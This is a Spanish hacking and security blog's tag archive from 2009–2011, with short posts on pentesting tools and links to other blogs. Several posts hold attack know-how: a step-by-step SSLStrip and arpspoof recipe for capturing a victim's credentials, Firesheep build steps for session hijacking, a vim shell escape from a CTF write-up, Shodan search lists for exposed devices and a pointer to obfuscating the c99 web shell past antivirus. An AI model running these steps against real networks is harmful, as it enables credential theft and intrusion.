Google
 
Mostrando entradas con la etiqueta Seguridad / Hacking. Mostrar todas las entradas
Mostrando entradas con la etiqueta Seguridad / Hacking. Mostrar todas las entradas

sábado, 4 de junio de 2011

vi shell


Buenas,



Leyendo sobre las CTF quals de Defcon 18 me encuentro con una interesante característica de Vi. Ejecución de una shell mediante el editor de texto.


Mas info:http://blog.stalkr.net/2010/05/defcon-18-ctf-quals-writeup-trivial-200.html

Un resumen de lo expuesto:
------------------------------------------------------------------------------
A few useful VIM commands:
:q! => quit
:o => open a file
:!<command> => run command *in default shell*


We tried to list files with :!ls but it did not work. So we opened /etc/passwd with :o /etc/passwd and discovered that the default shell of sheep user was /usr/bin/vim. Simply change it with:
:set shell /bin/bash

Then we were able to list files (:!ls)

------------------------------------------------------------------------------


También es posible escribir (:sh) o (:shell) y obtener la shell

domingo, 5 de diciembre de 2010

Firesheep simplifica el robo de sesión

Buenas,

Firesheep es una extensión de firefox de la que se ha hablado mucho últimamente, pues permite obtener las sesiones de usuario de páginas web como twitter, facebook, ... simplemente escuchando el tráfico.

Apareció en ToorCon 12 para ser usado en redes wireless, pero en hacktimes han demostrado que también se puede utilizar en redes cableadas haciendo un ataque de hombre en el medio.

Inicialmente, sólo está disponible para Windows y Mac pero es posible utilizarlo desde Linux realizando unos breves pasos que encontramos en http://www.tuxapuntes.com/drupal/node/1966:

$> git clone https://github.com/codebutler/firesheep.git
$> cd firesheep
$> git submodule update --init
$> apt-get install autoconf libtool libpcap-dev libboost-all-dev libhal-dev xulrunner-1.9.2-dev aircrack-ng
$> ./autogen.sh && make 


Si da un error de ReferenceError:Cc is not defined es porque no identifica el vendedor de la tarjeta de red, para resolverlo hay que modificar la línea 48 (throw ex) por return string("ERROR"); en el fichero firesheep/backend/src/linux_plattform.cpp

Por último, se habrá creado un fichero en firesheep/build con extensión .xpi que podremos arrastrar a una ventana de Firefox para ser instalado

David

jueves, 4 de noviembre de 2010

Análisis de tráfico

En una nueva entrada de securitybydefault.com viene una Web donde recopilan trazas de tráfico de red para poder ser analizadas.

Por ejemplo, tienen trafico de Conflicker, Zeus, ...


Dos webs interesantes!

miércoles, 16 de junio de 2010

jueves, 25 de febrero de 2010

viernes, 12 de febrero de 2010

Another DNS Enumerator by SpiderLabs

Buenas

por casualidad he encontrado un programa sencillo que enumera los registros DNS en base a un diccionario. Útil cuando no podemos utilizar una transferencia de zona. El programa es de SpiderLabs y viene con diccionario, en inglés.

https://www.trustwave.com/spiderLabs-tools.php

El programa es WS-DNS-BFX. Se puede revisar el código fuente para ver cómo está programado.
Podemos añadir al diccionario todos los nombres que queramos, recomendable para DNS no ingleses.
$>  ./WS-DNS-BFX trustwave.com dict-file.txt 10
Progress ...........
$>

Genera un archivo del tipo hosts-<nombre_dominio_consultado>.txt

$> cat hosts-trustwave.com.txt
  -= DNS Brute Force eXtractor by Trustwave - SpiderLabs =-

www.trustwave.com{
204.13.200.166}

ns2.trustwave.com{
204.13.200.161}

mail.trustwave.com{
38.106.143.42}

ns.trustwave.com{
204.13.200.161}

ns1.trustwave.com{
38.106.143.42}

ftp.trustwave.com{
208.42.226.135}

ns3.trustwave.com{
38.106.143.42}

login.trustwave.com{
204.13.200.212}

downloads.trustwave.com{
64.92.221.245}

webmail.trustwave.com{
38.106.143.15}
$> 

David

jueves, 4 de febrero de 2010

¿Hay malware en mi Windows?

Buenass

leyendo el blog de pentester.es, muy bueno por cierto, tienen una entrada con la opinión de Jose Selvi sobre cómo detectar si sospechamos que tenemos algo en nuestro sistema.

Busca, Busca... Busca Malware bonito...

Los pasos son:

  1. Apagar el equipo y montar el disco en otro sistema para evitar posibles alteraciones de rootkits.
  2. Escaneo de antivirus
  3. Búsqueda de ejecutables, no firmados por microsoft, con Sigcheck de Mark Russinovich: sigcheck -e -s "c:\\"
  4. Centrarnos, en primera instancia en los directorios distintos a Archivos de programa porque ahí habrá bastantes ejecutables no fimados por microsoft.
  5. Análisis de malware con los binarios listados
  6. Y esta la añado yo: Paciencia
David

miércoles, 3 de febrero de 2010

Detectando y eliminando Keyloggers en Windows

Buenas

en el blog de windowstecnico hay una entrada interesante y sencilla sobre detectar y eliminar Keyloggers.
Simplemente hace uso de las herramientas de SysInternals con ProcessMonitor - ProcessExplorer y Autoruns.

Recomendado!

David

jueves, 28 de enero de 2010

SSLStrip fácil sencillo y ...

Buenass

si eres como yo, que habías retrasado la prueba de SSLStrip deja lo que estés haciendo y mira este video de Securitytube sobre SSLStrip o simplemente:
  1. Descarga SSLstrip http://www.thoughtcrime.org/software/sslstrip/
  2.  #>  echo "1" > /proc/sys/net/ipv4/ip_forward
  3.  #>  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  4.  $> python sslstrip.py -w captura_datos_sniff
  5.  #> arpspoof -i eth0 -t IP_Victima IP_router
Y tendrás a tu victima navegando sin SSL y además capturarás sus credenciales.

David

domingo, 3 de enero de 2010

Shodan: listado de búsquedas

En esta entrada voy a dejar un listado de todas las entradas para shodan que vaya encontrando. En el primer post que hablé sobre shodan, ya puse un listado.


secanalysis.com tienen un listado organizado por categorías que copio aquí:

WebServer Detection

1. IIS+2.0

2. IIS+3.0

3. IIS+4.0

4. IIS+5.0

5. IIS+6.0

6. Websphere+4.0

7. Websphere+5.0

8. Websphere+6.0

9. “Oracle HTTP Server”

10. Jrun

11. RaidenHTTPd

12. “IBM HTTP”

13. Tru64

14. iCern

15. Lotus-Domino + 1.0

16. Apache (tons of versions with this, too many to list)

17. Windweb


CMS Detection

1. Joomla

2. Drupal

3. Wordpress

4. Typo3


Network Device Detection

1. Linksys

1. Linksys+wrt54g

2. Linksys+wap54g

3. Linksys+BEFDSR41w

4. Linksys+BEFSX41

5. Linksys+wap200

6. Linksys+CIT400 (This is a telephony kit...interesting)

7. Linksys+RVS4000

8. Linksys+WET54G

9. Linksys+WAG54GX2

10. Linksys+WAG54GS

2. Netgear

1. Netgear+DG834

2. Netgear+PS121v2

3. Netgear+WGR614v9

4. Netgear+WAG302v2

5. Netgear+DG834PN

3. Cisco

3. Cisco+RVo82

4. Cisco+CSS

5. Cisco+PIX

6. Cisco+VPN

7. Cisco+Server

4. Fuji+Xerox

5. JetDirect
Other

1. Xerver

2. port:23+ list+of+built-in+commands

3. port:80+iisstart.html

4. Server: SQ-WEBCAM

5. “Anonymous+access+allowed”

6. Golden+FTP+Server

7. “Server:+iWeb”+HTTP

8. passwd

9. passwd+user+vname

10. deleted

Pd: si teneis vuestros propios listados ponedlos por aquí

viernes, 18 de diciembre de 2009

Configuración por defecto

Buenass

últimamente( y siempre) estoy en la línea de recomendar entradas de blogs que leo y me parecen interesantes, en este caso en el blog de equilibrioinestable tiene una entrada sobre la configuración por defecto donde expone entre otros que en los servidores apache incluyen el server-status y server-info proporcionando información de más.

David

jueves, 3 de diciembre de 2009

Shodan, un buscador rarito


Para que no quede en el olvido aquí dejo el enlace al buscado shodan http://shodan.surtri.com/, que permite hacer busquedas de equipos conectados a internet. Se basa en las cabeceras para devolver los resultados.

Mas info: http://www.securitybydefault.com/2009/11/shodan-un-buscador-diferente.html

Busquedas:
  • camera country:ES <-- Visto en Comentarios de SBD
  • http://shodan.surtri.com/?q=port%3A23++Password+is+not+set+ <-- Devuelve resultados de Impresoras HP. Visto en twitter de aramosf
  • iis 4.0
  • http://blog.48bits.com/?p=767
Muy interesante!!!

David

Traceroute by SecurityArtWork

Leyendo el blog securityartwork veo una entrada sobre hacer traceroute para cualquier sistema con un puerto disponible. De esta forma se saltan restricciones impuestas por firewall al utilizar el clásico traceroute por ICMP.

Se utiliza la herramienta Layer Four Traceroute(lft):

# lft -d 80 servidor_web

Más en Curiosidades del Traceroute - securityartwork

Hace ya tiempo hablé de traceroute con hping3

David

miércoles, 25 de noviembre de 2009

Introducción a Fuzzing por S21Sec

Buenass

tenía pendiente la lectura de un post de S12Sec donde introducen el concepto de Fuzzing. Me ha gustado así que ahí va:

S21Sec: Fuzzing y Seguridad

Enlace al documento pdf Fuzzing y Seguridad

David

miércoles, 18 de noviembre de 2009

Metasploit - El framework

Metasploit

Con la salida de la nueva versión 3.3 del framework de Metasploit voy a dejar una entrada no parar anunciar la nueva versión sino para recordar que existe un tutorial de Offensive Security donde enseñan a utilizarlo.
¡Cuando haya tiempo hay que echarle un ojo!

Tutorial Metasploit

David

miércoles, 28 de octubre de 2009

Libros OWASP

Prácticamente de OWASP sólo conocía la Guía de pruebas (Testing Guide) pero tienen una web donde están publicados todos sus libros, hay un montón:


Se pueden comprar como libro o descargar en formato electrónico, así que habrá que sacar tiempo para echarles un ojo

Libros OWASP

David

martes, 27 de octubre de 2009

Teoría del Anonimato - SET 38

Un poco al hilo de lo que ha pasado con la web busindre.com que ha sido cerrada por orden jucidical se puede leer en una noticia del periodico 20 minutos que dice que se les ha cogido porque realizaban los ataques desde la línea telefónica de casa. Me cuesta creer esto no sé de donde habrán sacado la información.

Hace un par de días con la salida del e-zine SET nº 38, leí entre sus artículos uno sobre el anonimato, es el sexto artículo : Anonimato: Fantasmas en la Red
Versa sobre la teoría del anonimato, muy recomendable. Trata aspectos que hubieran evitado la caída de busindre.

David

lunes, 26 de octubre de 2009

Busindre ha caído

Como de vez en cuando, iba a conectarme a ver que había de nuevo por busindre.com y me he llevado la sorpresa al ver:

SITIO WEB CERRADO POR ORDEN JUDICIAL

Parece ser que después de hacer tanto ruido han dado con él, si buscamos en google 'hacked by busindre' salen unos cuantos resultados, además si miramos en zone-h hay contabilizados 289 ataques.

En el periódico Publico hablán de ello

La verdad es una pena porque publicaban contenidos en español bastante buenos y por simplemente hacer unos deface se la han jugado.

David

domingo, 25 de octubre de 2009

Ofuscar on-line shell c99

Leo una entrada de hacking-avanzado donde de una forma sencilla, fácil y para toda la familia se puede ofuscar la típica shell php c99 con el servicio on-line codeeclipse.

Cómo ofuscar una shell php y saltarnos los antivirus

David